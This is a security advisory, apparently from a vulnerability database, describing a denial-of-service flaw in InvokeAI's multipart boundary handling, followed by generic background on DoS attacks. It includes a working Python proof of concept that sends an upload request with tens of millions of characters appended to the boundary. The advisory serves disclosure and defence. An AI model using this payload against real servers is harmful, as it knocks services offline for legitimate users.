Denial of Service (DoS) Affecting invokeai package, versions [0,]

InvokeAI is an An implementation of Stable Diffusion which provides various new features and options to aid the image generation process

Affected versions of this package are vulnerable to Denial of Service (DoS) through the multipart request boundary processing mechanism. An attacker can cause excessive resource consumption and trigger an infinite loop, leading to a complete denial of service for all users by appending excessive characters to the end of multipart boundaries.

import requests

num = 50000000
url = "http://127.0.0.1:9090/api/v1/images/upload"
headers = {
    "Content-Type": "multipart/form-data; boundary=---------------------------284178091740602105783377960069"
}

# The exact raw payload as specified
data = (
    "-----------------------------284178091740602105783377960069\r\n"
    "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"test.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "Hello I am test\r\n"
    "-----------------------------284178091740602105783377960069--" + '-' * num + "\r\n"
)

response = requests.post(url, headers=headers, data=data.encode('utf-8'), verify=False)

print(response.status_code)
print(response.text)

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• Vulnerable Code